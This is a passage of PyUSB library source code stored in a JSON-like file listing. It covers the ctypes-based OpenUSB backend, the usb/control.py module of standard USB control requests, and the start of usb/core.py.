None),\n    OPENUSB_IO_CANCELED:errno.__dict__.get('EINTR', None)\n}\n\nclass _usb_endpoint_desc(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bEndpointAddress', c_uint8),\n                ('bmAttributes', c_uint8),\n                ('wMaxPacketSize', c_uint16),\n                ('bInterval', c_uint8),\n                ('bRefresh', c_uint8),\n                ('bSynchAddress', c_uint8)]\n\nclass _usb_interface_desc(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bInterfaceNumber', c_uint8),\n                ('bAlternateSetting', c_uint8),\n                ('bNumEndpoints', c_uint8),\n                ('bInterfaceClass', c_uint8),\n                ('bInterfaceSubClass', c_uint8),\n                ('bInterfaceProtocol', c_uint8),\n                ('iInterface', c_uint8)]\n\nclass _usb_config_desc(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('wTotalLength', c_uint16),\n                ('bNumInterfaces', c_uint8),\n                ('bConfigurationValue', c_uint8),\n                ('iConfiguration', c_uint8),\n                ('bmAttributes', c_uint8),\n                ('bMaxPower', c_uint8)]\n\nclass _usb_device_desc(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bcdUSB', c_uint16),\n                ('bDeviceClass', c_uint8),\n                ('bDeviceSubClass', c_uint8),\n                ('bDeviceProtocol', c_uint8),\n                ('bMaxPacketSize0', c_uint8),\n                ('idVendor', c_uint16),\n                ('idProduct', c_uint16),\n                ('bcdDevice', c_uint16),\n                ('iManufacturer', c_uint8),\n                ('iProduct', c_uint8),\n                ('iSerialNumber', c_uint8),\n                ('bNumConfigurations', c_uint8)]\n\nclass _openusb_request_result(Structure):\n    _fields_ = [('status', c_int32),\n                ('transferred_bytes', c_uint32)]\n\nclass _openusb_ctrl_request(Structure):\n    def __init__(self):\n        super(_openusb_ctrl_request, self).__init__()\n        self.setup.bmRequestType = 0\n        self.setup.bRequest = 0\n        self.setup.wValue = 0\n        self.setup.wIndex = 0\n        self.payload = None\n        self.length = 0\n        self.timeout = 0\n        self.flags = 0\n        self.result.status = 0\n        self.result.transferred_bytes = 0\n        self.next = None\n\n    class _openusb_ctrl_setup(Structure):\n        _fields_ = [('bmRequestType', c_uint8),\n                    ('bRequest', c_uint8),\n                    ('wValue', c_uint16),\n                    ('wIndex', c_uint16)]\n    _fields_ = [('setup', _openusb_ctrl_setup),\n                ('payload', POINTER(c_uint8)),\n                ('length', c_uint32),\n                ('timeout', c_uint32),\n                ('flags', c_uint32),\n                ('result', _openusb_request_result),\n                ('next', c_void_p)]\n\nclass _openusb_intr_request(Structure):\n    _fields_ = [('interval', c_uint16),\n                ('payload', POINTER(c_uint8)),\n                ('length', c_uint32),\n                ('timeout', c_uint32),\n                ('flags', c_uint32),\n                ('result', _openusb_request_result),\n                ('next', c_void_p)]\n\nclass _openusb_bulk_request(Structure):\n    _fields_ = [('payload', POINTER(c_uint8)),\n                ('length', c_uint32),\n                ('timeout', c_uint32),\n                ('flags', c_uint32),\n                ('result', _openusb_request_result),\n                ('next', c_void_p)]\n\nclass _openusb_isoc_pkts(Structure):\n    class _openusb_isoc_packet(Structure):\n        _fields_ = [('payload', POINTER(c_uint8)),\n                    ('length', c_uint32)]\n    _fields_ = [('num_packets', c_uint32),\n                ('packets', POINTER(_openusb_isoc_packet))]\n\nclass _openusb_isoc_request(Structure):\n    _fields_ = [('start_frame', c_uint32),\n                ('flags', c_uint32),\n                ('pkts', _openusb_isoc_pkts),\n                ('isoc_results', POINTER(_openusb_request_result)),\n                ('isoc_status', c_int32),\n                ('next', c_void_p)]\n\n_openusb_devid = c_uint64\n_openusb_busid = c_uint64\n_openusb_handle = c_uint64\n_openusb_dev_handle = c_uint64\n\n_lib = None\n_ctx = None\n\ndef _load_library(find_library=None):\n    # FIXME: cygwin name is \"openusb\"?\n    #        (that's what the original _load_library() function\n    #         would have searched for)\n    return usb.libloader.load_locate_library(\n        ('openusb',), 'openusb', \"OpenUSB library\", find_library=find_library\n    )\n\ndef _setup_prototypes(lib):\n    # int32_t openusb_init(uint32_t flags , openusb_handle_t *handle);\n    lib.openusb_init.argtypes = [c_uint32, POINTER(_openusb_handle)]\n    lib.openusb_init.restype = c_int32\n\n    # void openusb_fini(openusb_handle_t handle );\n    lib.openusb_fini.argtypes = [_openusb_handle]\n\n    # uint32_t openusb_get_busid_list(openusb_handle_t handle,\n    #                                 openusb_busid_t **busids,\n    #                                 uint32_t *num_busids);\n    lib.openusb_get_busid_list.argtypes = [\n            _openusb_handle,\n            POINTER(POINTER(_openusb_busid)),\n            POINTER(c_uint32)\n        ]\n\n    # void openusb_free_busid_list(openusb_busid_t * busids);\n    lib.openusb_free_busid_list.argtypes = [POINTER(_openusb_busid)]\n\n    # uint32_t openusb_get_devids_by_bus(openusb_handle_t handle,\n    #                                    openusb_busid_t busid,\n    #                                    openusb_devid_t **devids,\n    #                                    uint32_t *num_devids);\n    lib.openusb_get_devids_by_bus.argtypes = [\n                _openusb_handle,\n                _openusb_busid,\n                POINTER(POINTER(_openusb_devid)),\n                POINTER(c_uint32)\n            ]\n\n    lib.openusb_get_devids_by_bus.restype = c_int32\n\n    # void openusb_free_devid_list(openusb_devid_t * devids);\n    lib.openusb_free_devid_list.argtypes = [POINTER(_openusb_devid)]\n\n    # int32_t openusb_open_device(openusb_handle_t handle,\n    #                             openusb_devid_t devid ,\n    #                             uint32_t flags,\n    #                             openusb_dev_handle_t *dev);\n    lib.openusb_open_device.argtypes = [\n                _openusb_handle,\n                _openusb_devid,\n                c_uint32,\n                POINTER(_openusb_dev_handle)\n            ]\n\n    lib.openusb_open_device.restype = c_int32\n\n    # int32_t openusb_close_device(openusb_dev_handle_t dev);\n    lib.openusb_close_device.argtypes = [_openusb_dev_handle]\n    lib.openusb_close_device.restype = c_int32\n\n    # int32_t openusb_set_configuration(openusb_dev_handle_t dev,\n    #                                   uint8_t cfg);\n    lib.openusb_set_configuration.argtypes = [_openusb_dev_handle, c_uint8]\n    lib.openusb_set_configuration.restype = c_int32\n\n    # int32_t openusb_get_configuration(openusb_dev_handle_t dev,\n    #                                   uint8_t *cfg);\n    lib.openusb_get_configuration.argtypes = [_openusb_dev_handle, POINTER(c_uint8)]\n    lib.openusb_get_configuration.restype = c_int32\n\n    # int32_t openusb_claim_interface(openusb_dev_handle_t dev,\n    #                                 uint8_t ifc,\n    #                                 openusb_init_flag_t flags);\n    lib.openusb_claim_interface.argtypes = [\n            _openusb_dev_handle,\n            c_uint8,\n            c_int\n        ]\n\n    lib.openusb_claim_interface.restype = c_int32\n\n    # int32_t openusb_release_interface(openusb_dev_handle_t dev,\n    #                                   uint8_t ifc);\n    lib.openusb_release_interface.argtypes = [\n            _openusb_dev_handle,\n            c_uint8\n        ]\n\n    lib.openusb_release_interface.restype = c_int32\n\n    # int32_topenusb_set_altsetting(openusb_dev_handle_t dev,\n    #                               uint8_t ifc,\n    #                               uint8_t alt);\n    lib.openusb_set_altsetting.argtypes = [\n            _openusb_dev_handle,\n            c_uint8,\n            c_uint8\n        ]\n    lib.openusb_set_altsetting.restype = c_int32\n\n    # int32_t openusb_reset(openusb_dev_handle_t dev);\n    lib.openusb_reset.argtypes = [_openusb_dev_handle]\n    lib.openusb_reset.restype = c_int32\n\n    # int32_t openusb_parse_device_desc(openusb_handle_t handle,\n    #                                   openusb_devid_t devid,\n    #                                   uint8_t *buffer,\n    #                                   uint16_t buflen,\n    #                                   usb_device_desc_t *devdesc);\n    lib.openusb_parse_device_desc.argtypes = [\n            _openusb_handle,\n            _openusb_devid,\n            POINTER(c_uint8),\n            c_uint16,\n            POINTER(_usb_device_desc)\n        ]\n\n    lib.openusb_parse_device_desc.restype = c_int32\n\n    # int32_t openusb_parse_config_desc(openusb_handle_t handle,\n    #                                   openusb_devid_t devid,\n    #                                   uint8_t *buffer,\n    #                                   uint16_t buflen,\n    #                                   uint8_t cfgidx,\n    #                                   usb_config_desc_t *cfgdesc);\n    lib.openusb_parse_config_desc.argtypes = [\n                _openusb_handle,\n                _openusb_devid,\n                POINTER(c_uint8),\n                c_uint16,\n                c_uint8,\n                POINTER(_usb_config_desc)\n            ]\n    lib.openusb_parse_config_desc.restype = c_int32\n\n    # int32_t openusb_parse_interface_desc(openusb_handle_t handle,\n    #                                      openusb_devid_t devid,\n    #                                      uint8_t *buffer,\n    #                                      uint16_t buflen,\n    #                                      uint8_t cfgidx,\n    #                                      uint8_t ifcidx,\n    #                                      uint8_t alt,\n    #                                      usb_interface_desc_t *ifcdesc);\n    lib.openusb_parse_interface_desc.argtypes = [\n                    _openusb_handle,\n                    _openusb_devid,\n                    POINTER(c_uint8),\n                    c_uint16,\n                    c_uint8,\n                    c_uint8,\n                    c_uint8,\n                    POINTER(_usb_interface_desc)\n                ]\n\n    lib.openusb_parse_interface_desc.restype = c_int32\n\n    # int32_t openusb_parse_endpoint_desc(openusb_handle_t handle,\n    #                                     openusb_devid_t devid,\n    #                                     uint8_t *buffer,\n    #                                     uint16_t buflen,\n    #                                     uint8_t cfgidx,\n    #                                     uint8_t ifcidx,\n    #                                     uint8_t alt,\n    #                                     uint8_t eptidx,\n    #                                     usb_endpoint_desc_t *eptdesc);\n    lib.openusb_parse_endpoint_desc.argtypes = [\n                    _openusb_handle,\n                    _openusb_devid,\n                    POINTER(c_uint8),\n                    c_uint16,\n                    c_uint8,\n                    c_uint8,\n                    c_uint8,\n                    c_uint8,\n                    POINTER(_usb_endpoint_desc)\n                ]\n\n    lib.openusb_parse_interface_desc.restype = c_int32\n\n    # const char *openusb_strerror(int32_t error );\n    lib.openusb_strerror.argtypes = [c_int32]\n    lib.openusb_strerror.restype = c_char_p\n\n    # int32_t openusb_ctrl_xfer(openusb_dev_handle_t dev,\n    #                           uint8_t ifc,\n    #                           uint8_t ept,\n    #                           openusb_ctrl_request_t *ctrl);\n    lib.openusb_ctrl_xfer.argtypes = [\n            _openusb_dev_handle,\n            c_uint8,\n            c_uint8,\n            POINTER(_openusb_ctrl_request)\n        ]\n\n    lib.openusb_ctrl_xfer.restype = c_int32\n\n    # int32_t openusb_intr_xfer(openusb_dev_handle_t dev,\n    #                           uint8_t ifc,\n    #                           uint8_t ept,\n    #                           openusb_intr_request_t *intr);\n    lib.openusb_intr_xfer.argtypes = [\n                _openusb_dev_handle,\n                c_uint8,\n                c_uint8,\n                POINTER(_openusb_intr_request)\n            ]\n\n    lib.openusb_bulk_xfer.restype = c_int32\n\n    # int32_t openusb_bulk_xfer(openusb_dev_handle_t dev,\n    #                           uint8_t ifc,\n    #                           uint8_t ept,\n    #                           openusb_bulk_request_t *bulk);\n    lib.openusb_bulk_xfer.argtypes = [\n            _openusb_dev_handle,\n            c_uint8,\n            c_uint8,\n            POINTER(_openusb_bulk_request)\n        ]\n\n    lib.openusb_bulk_xfer.restype = c_int32\n\n    # int32_t openusb_isoc_xfer(openusb_dev_handle_t dev,\n    #                           uint8_t ifc,\n    #                           uint8_t ept,\n    #                           openusb_isoc_request_t *isoc);\n    lib.openusb_isoc_xfer.argtypes = [\n            _openusb_dev_handle,\n            c_uint8,\n            c_uint8,\n            POINTER(_openusb_isoc_request)\n        ]\n\n    lib.openusb_isoc_xfer.restype = c_int32\n\ndef _check(ret):\n    if hasattr(ret, 'value'):\n        ret = ret.value\n\n    if ret != 0:\n        raise USBError(_lib.openusb_strerror(ret), ret, _openusb_errno[ret])\n    return ret\n\nclass _Context(_objfinalizer.AutoFinalizedObject):\n    def __init__(self):\n        self.handle = _openusb_handle()\n        _check(_lib.openusb_init(0, byref(self.handle)))\n    def _finalize_object(self):\n        _lib.openusb_fini(self.handle)\n\nclass _BusIterator(_objfinalizer.AutoFinalizedObject):\n    def __init__(self):\n        self.buslist = POINTER(_openusb_busid)()\n        num_busids = c_uint32()\n        _check(_lib.openusb_get_busid_list(_ctx.handle,\n                                           byref(self.buslist),\n                                           byref(num_busids)))\n        self.num_busids = num_busids.value\n    def __iter__(self):\n        for i in range(self.num_busids):\n            yield self.buslist[i]\n    def _finalize_object(self):\n        _lib.openusb_free_busid_list(self.buslist)\n\nclass _DevIterator(_objfinalizer.AutoFinalizedObject):\n    def __init__(self, busid):\n        self.devlist = POINTER(_openusb_devid)()\n        num_devids = c_uint32()\n        _check(_lib.openusb_get_devids_by_bus(_ctx.handle,\n                                              busid,\n                                              byref(self.devlist),\n                                              byref(num_devids)))\n        self.num_devids = num_devids.value\n    def __iter__(self):\n        for i in range(self.num_devids):\n            yield self.devlist[i]\n    def _finalize_object(self):\n        _lib.openusb_free_devid_list(self.devlist)\n\nclass _OpenUSB(usb.backend.IBackend):\n    @methodtrace(_logger)\n    def enumerate_devices(self):\n        for bus in _BusIterator():\n            for devid in _DevIterator(bus):\n                yield devid\n\n    @methodtrace(_logger)\n    def get_device_descriptor(self, dev):\n        desc = _usb_device_desc()\n        _check(_lib.openusb_parse_device_desc(_ctx.handle,\n                                              dev,\n                                              None,\n                                              0,\n                                              byref(desc)))\n        desc.bus = None\n        desc.address = None\n        desc.port_number = None\n        desc.port_numbers = None\n        desc.speed = None\n        return desc\n\n    @methodtrace(_logger)\n    def get_configuration_descriptor(self, dev, config):\n        desc = _usb_config_desc()\n        _check(_lib.openusb_parse_config_desc(_ctx.handle,\n                                              dev,\n                                              None,\n                                              0,\n                                              config,\n                                              byref(desc)))\n        desc.extra_descriptors = None\n        return desc\n\n    @methodtrace(_logger)\n    def get_interface_descriptor(self, dev, intf, alt, config):\n        desc = _usb_interface_desc()\n        _check(_lib.openusb_parse_interface_desc(_ctx.handle,\n                                                 dev,\n                                                 None,\n                                                 0,\n                                                 config,\n                                                 intf,\n                                                 alt,\n                                                 byref(desc)))\n        desc.extra_descriptors = None\n        return desc\n\n    @methodtrace(_logger)\n    def get_endpoint_descriptor(self, dev, ep, intf, alt, config):\n        desc = _usb_endpoint_desc()\n        _check(_lib.openusb_parse_endpoint_desc(_ctx.handle,\n                                                dev,\n                                                None,\n                                                0,\n                                                config,\n                                                intf,\n                                                alt,\n                                                ep,\n                                                byref(desc)))\n        desc.extra_descriptors = None\n        return desc\n\n    @methodtrace(_logger)\n    def open_device(self, dev):\n        handle = _openusb_dev_handle()\n        _check(_lib.openusb_open_device(_ctx.handle, dev, 0, byref(handle)))\n        return handle\n\n    @methodtrace(_logger)\n    def close_device(self, dev_handle):\n        _lib.openusb_close_device(dev_handle)\n\n    @methodtrace(_logger)\n    def set_configuration(self, dev_handle, config_value):\n        _check(_lib.openusb_set_configuration(dev_handle, config_value))\n\n    @methodtrace(_logger)\n    def get_configuration(self, dev_handle):\n        config = c_uint8()\n        _check(_lib.openusb_get_configuration(dev_handle, byref(config)))\n        return config.value\n\n    @methodtrace(_logger)\n    def set_interface_altsetting(self, dev_handle, intf, altsetting):\n        _check(_lib.openusb_set_altsetting(dev_handle, intf, altsetting))\n\n    @methodtrace(_logger)\n    def claim_interface(self, dev_handle, intf):\n        _check(_lib.openusb_claim_interface(dev_handle, intf, 0))\n\n    @methodtrace(_logger)\n    def release_interface(self, dev_handle, intf):\n        _lib.openusb_release_interface(dev_handle, intf)\n\n    @methodtrace(_logger)\n    def bulk_write(self, dev_handle, ep, intf, data, timeout):\n        request = _openusb_bulk_request()\n        memset(byref(request), 0, sizeof(request))\n        payload, request.length = data.buffer_info()\n        request.payload = cast(payload, POINTER(c_uint8))\n        request.timeout = timeout\n        _check(_lib.openusb_bulk_xfer(dev_handle, intf, ep, byref(request)))\n        return request.result.transferred_bytes\n\n    @methodtrace(_logger)\n    def bulk_read(self, dev_handle, ep, intf, buff, timeout):\n        request = _openusb_bulk_request()\n        memset(byref(request), 0, sizeof(request))\n        payload, request.length = buff.buffer_info()\n        request.payload = cast(payload, POINTER(c_uint8))\n        request.timeout = timeout\n        _check(_lib.openusb_bulk_xfer(dev_handle, intf, ep, byref(request)))\n        return request.result.transferred_bytes\n\n    @methodtrace(_logger)\n    def intr_write(self, dev_handle, ep, intf, data, timeout):\n        request = _openusb_intr_request()\n        memset(byref(request), 0, sizeof(request))\n        payload, request.length = data.buffer_info()\n        request.payload = cast(payload, POINTER(c_uint8))\n        request.timeout = timeout\n        _check(_lib.openusb_intr_xfer(dev_handle, intf, ep, byref(request)))\n        return request.result.transferred_bytes\n\n    @methodtrace(_logger)\n    def intr_read(self, dev_handle, ep, intf, buff, timeout):\n        request = _openusb_intr_request()\n        memset(byref(request), 0, sizeof(request))\n        payload, request.length = buff.buffer_info()\n        request.payload = cast(payload, POINTER(c_uint8))\n        request.timeout = timeout\n        _check(_lib.openusb_intr_xfer(dev_handle, intf, ep, byref(request)))\n        return request.result.transferred_bytes\n\n# TODO: implement isochronous\n#    @methodtrace(_logger)\n#    def iso_write(self, dev_handle, ep, intf, data, timeout):\n#       pass\n\n#    @methodtrace(_logger)\n#    def iso_read(self, dev_handle, ep, intf, size, timeout):\n#        pass\n\n    @methodtrace(_logger)\n    def ctrl_transfer(self,\n                      dev_handle,\n                      bmRequestType,\n                      bRequest,\n                      wValue,\n                      wIndex,\n                      data,\n                      timeout):\n        request = _openusb_ctrl_request()\n        request.setup.bmRequestType = bmRequestType\n        request.setup.bRequest = bRequest\n        request.setup.wValue\n        request.setup.wIndex\n        request.timeout = timeout\n\n        direction = usb.util.ctrl_direction(bmRequestType)\n\n        payload, request.length = data.buffer_info()\n        request.length *= data.itemsize\n        request.payload = cast(payload, POINTER(c_uint8))\n\n        _check(_lib.openusb_ctrl_xfer(dev_handle, 0, 0, byref(request)))\n\n        return request.result.transferred_bytes\n\n    @methodtrace(_logger)\n    def reset_device(self, dev_handle):\n        _check(_lib.openusb_reset(dev_handle))\n\n    @methodtrace(_logger)\n    def clear_halt(self, dev_handle, ep):\n        bmRequestType = util.build_request_type(\n                            util.CTRL_OUT,\n                            util.CTRL_TYPE_STANDARD,\n                            util.CTRL_RECIPIENT_ENDPOINT)\n        self.ctrl_transfer(\n            dev_handle,\n            bmRequestType,\n            0x03,\n            0,\n            ep,\n            _interop.as_array(),\n            1000)\n\ndef get_backend(find_library=None):\n    try:\n        global _lib, _ctx\n        if _lib is None:\n            _lib = _load_library(find_library)\n            _setup_prototypes(_lib)\n            _ctx = _Context()\n        return _OpenUSB()\n    except usb.libloader.LibraryException:\n        # exception already logged (if any)\n        _logger.error('Error loading OpenUSB backend', exc_info=False)\n        return None\n    except Exception:\n        _logger.error('Error loading OpenUSB backend', exc_info=True)\n        return None\n"
  },
  {
    "path": "usb/control.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nr\"\"\"usb.control - USB standard control requests\n\nThis module exports:\n\nget_status - get recipeint status\nclear_feature - clear a recipient feature\nset_feature - set a recipient feature\nget_descriptor - get a device descriptor\nset_descriptor - set a device descriptor\nget_configuration - get a device configuration\nset_configuration - set a device configuration\nget_interface - get a device interface\nset_interface - set a device interface\n\"\"\"\n\n__author__ = 'Wander Lairson Costa'\n\n__all__ = ['get_status',\n           'clear_feature',\n           'set_feature',\n           'get_descriptor',\n           'set_descriptor',\n           'get_configuration',\n           'set_configuration',\n           'get_interface',\n           'set_interface',\n           'ENDPOINT_HALT',\n           'FUNCTION_SUSPEND',\n           'DEVICE_REMOTE_WAKEUP',\n           'U1_ENABLE',\n           'U2_ENABLE',\n           'LTM_ENABLE']\n\nimport usb.util as util\nimport usb.core as core\n\ndef _parse_recipient(recipient, direction):\n    if recipient is None:\n        r = util.CTRL_RECIPIENT_DEVICE\n        wIndex = 0\n    elif isinstance(recipient, core.Interface):\n        r = util.CTRL_RECIPIENT_INTERFACE\n        wIndex = recipient.bInterfaceNumber\n    elif isinstance(recipient, core.Endpoint):\n        r = util.CTRL_RECIPIENT_ENDPOINT\n        wIndex = recipient.bEndpointAddress\n    else:\n        raise ValueError('Invalid recipient.')\n    bmRequestType = util.build_request_type(\n                            direction,\n                            util.CTRL_TYPE_STANDARD,\n                            r\n                        )\n    return (bmRequestType, wIndex)\n\n# standard feature selectors from USB 2.0/3.0\nENDPOINT_HALT = 0\nFUNCTION_SUSPEND = 0\nDEVICE_REMOTE_WAKEUP = 1\nU1_ENABLE = 48\nU2_ENABLE = 49\nLTM_ENABLE = 50\n\ndef get_status(dev, recipient = None):\n    r\"\"\"Return the status for the specified recipient.\n\n    dev is the Device object to which the request will be\n    sent to.\n\n    The recipient can be None (on which the status will be queried\n    from the device), an Interface or Endpoint descriptors.\n\n    The status value is returned as an integer with the lower\n    word being the two bytes status value.\n    \"\"\"\n    bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_IN)\n    ret = dev.ctrl_transfer(bmRequestType = bmRequestType,\n                            bRequest = 0x00,\n                            wIndex = wIndex,\n                            data_or_wLength = 2)\n    return ret[0] | (ret[1] << 8)\n\ndef clear_feature(dev, feature, recipient = None):\n    r\"\"\"Clear/disable a specific feature.\n\n    dev is the Device object to which the request will be\n    sent to.\n\n    feature is the feature you want to disable.\n\n    The recipient can be None (on which the status will be queried\n    from the device), an Interface or Endpoint descriptors.\n    \"\"\"\n    if feature == ENDPOINT_HALT:\n        dev.clear_halt(recipient)\n    else:\n        bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT)\n        dev.ctrl_transfer(bmRequestType = bmRequestType,\n                          bRequest = 0x01,\n                          wIndex = wIndex,\n                          wValue = feature)\n\ndef set_feature(dev, feature, recipient = None):\n    r\"\"\"Set/enable a specific feature.\n\n    dev is the Device object to which the request will be\n    sent to.\n\n    feature is the feature you want to enable.\n\n    The recipient can be None (on which the status will be queried\n    from the device), an Interface or Endpoint descriptors.\n    \"\"\"\n    bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT)\n    dev.ctrl_transfer(bmRequestType = bmRequestType,\n                      bRequest = 0x03,\n                      wIndex = wIndex,\n                      wValue = feature)\n\ndef get_descriptor(dev, desc_size, desc_type, desc_index, wIndex = 0):\n    r\"\"\"Return the specified descriptor.\n\n    dev is the Device object to which the request will be\n    sent to.\n\n    desc_size is the descriptor size.\n\n    desc_type and desc_index are the descriptor type and index,\n    respectively. wIndex index is used for string descriptors\n    and represents the Language ID. For other types of descriptors,\n    it is zero.\n    \"\"\"\n    wValue = desc_index | (desc_type << 8)\n\n    bmRequestType = util.build_request_type(\n                        util.CTRL_IN,\n                        util.CTRL_TYPE_STANDARD,\n                        util.CTRL_RECIPIENT_DEVICE)\n\n    return dev.ctrl_transfer(\n            bmRequestType = bmRequestType,\n            bRequest = 0x06,\n            wValue = wValue,\n            wIndex = wIndex,\n            data_or_wLength = desc_size)\n\ndef set_descriptor(dev, desc, desc_type, desc_index, wIndex = None):\n    r\"\"\"Update an existing descriptor or add a new one.\n\n    dev is the Device object to which the request will be\n    sent to.\n\n    The desc parameter is the descriptor to be sent to the device.\n    desc_type and desc_index are the descriptor type and index,\n    respectively. wIndex index is used for string descriptors\n    and represents the Language ID. For other types of descriptors,\n    it is zero.\n    \"\"\"\n    wValue = desc_index | (desc_type << 8)\n\n    bmRequestType = util.build_request_type(\n                        util.CTRL_OUT,\n                        util.CTRL_TYPE_STANDARD,\n                        util.CTRL_RECIPIENT_DEVICE)\n\n    dev.ctrl_transfer(\n        bmRequestType = bmRequestType,\n        bRequest = 0x07,\n        wValue = wValue,\n        wIndex = wIndex,\n        data_or_wLength = desc)\n\ndef get_configuration(dev):\n    r\"\"\"Get the current active configuration of the device.\n\n    dev is the Device object to which the request will be\n    sent to.\n\n    This function differs from the Device.get_active_configuration\n    method because the later may use cached data, while this\n    function always does a device request.\n    \"\"\"\n    bmRequestType = util.build_request_type(\n                            util.CTRL_IN,\n                            util.CTRL_TYPE_STANDARD,\n                            util.CTRL_RECIPIENT_DEVICE)\n\n    return dev.ctrl_transfer(\n                bmRequestType,\n                bRequest = 0x08,\n                data_or_wLength = 1)[0]\n\ndef set_configuration(dev, bConfigurationNumber):\n    r\"\"\"Set the current device configuration.\n\n    dev is the Device object to which the request will be\n    sent to.\n    \"\"\"\n    dev.set_configuration(bConfigurationNumber)\n\ndef get_interface(dev, bInterfaceNumber):\n    r\"\"\"Get the current alternate setting of the interface.\n\n    dev is the Device object to which the request will be\n    sent to.\n    \"\"\"\n    bmRequestType = util.build_request_type(\n                            util.CTRL_IN,\n                            util.CTRL_TYPE_STANDARD,\n                            util.CTRL_RECIPIENT_INTERFACE)\n\n    return dev.ctrl_transfer(\n                bmRequestType = bmRequestType,\n                bRequest = 0x0a,\n                wIndex = bInterfaceNumber,\n                data_or_wLength = 1)[0]\n\ndef set_interface(dev, bInterfaceNumber, bAlternateSetting):\n    r\"\"\"Set the alternate setting of the interface.\n\n    dev is the Device object to which the request will be\n    sent to.\n    \"\"\"\n    dev.set_interface_altsetting(bInterfaceNumber, bAlternateSetting)\n\n"
  },
  {
    "path": "usb/core.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nr\"\"\"usb.core - Core USB features.\n\nThis module exports:\n\nDevice - a class representing a USB device.\nConfiguration - a class representing a configuration descriptor.\nInterface - a class representing an interface descriptor.\nEndpoint - a class representing an endpoint descriptor.\nfind() - a function to find USB devices.\nshow_devices() - a function to show the devices present.\n\"\"\"\n\n__author__ = 'Wander Lairson Costa'\n\n__all__ = [ 'Device', 'Configuration', 'Interface', 'Endpoint', 'find',\n            'show_devices' ]\n\nimport usb.util as util\nimport copy\nimport operator\nimport usb._interop as _interop\nimport usb._objfinalizer as _objfinalizer\nimport usb._lookup as _lu\nimport logging\nimport array\nimport threading\nimport functools\n\n_logger = logging.getLogger('usb.core')\n\n_DEFAULT_TIMEOUT = 1000\n\ndef _set_attr(input, output, fields):\n    for f in fields:\n       setattr(output, f, getattr(input, f))\n\ndef _try_get_string(dev, index, langid = None, default_str_i0 = \"\",\n        default_access_error = \"Error Accessing String\"):\n    \"\"\" try to get a string, but return a string no matter what\n    \"\"\"\n    if index == 0 :\n        string = default_str_i0\n    else:\n        try:\n            if langid is None:\n                string = util.get_string(dev, index)\n            else:\n                string = util.get_string(dev, index, langid)\n        except :\n            string = default_access_error\n    return string\n\ndef _try_lookup(table, value, default = \"\"):\n    \"\"\" try to get a string from the lookup table, return \"\" instead of key\n    error\n    \"\"\"\n    try:\n        string = table[ value ]\n    except KeyError:\n        string = default\n    return string\n\nclass _DescriptorInfo(str):\n    \"\"\" this class is used so that when a descriptor is shown on the\n    terminal it is propely formatted \"\"\"\n    def __repr__(self):\n        return self\n\ndef synchronized(f):\n    @functools.wraps(f)\n    def wrapper(self, *args, **kwargs):\n        try:\n            self.lock.acquire()\n            return f(self, *args, **kwargs)\n        finally:\n            self.lock.release()\n    return wrapper\n\nclass _ResourceManager(object):\n    def __init__(self, dev, backend):\n        self.backend = backend\n        self._active_cfg_index = None\n        self.dev = dev\n        self.handle = None\n        self._claimed_intf = _interop._set()\n        self._ep_info = {}\n        self.lock = 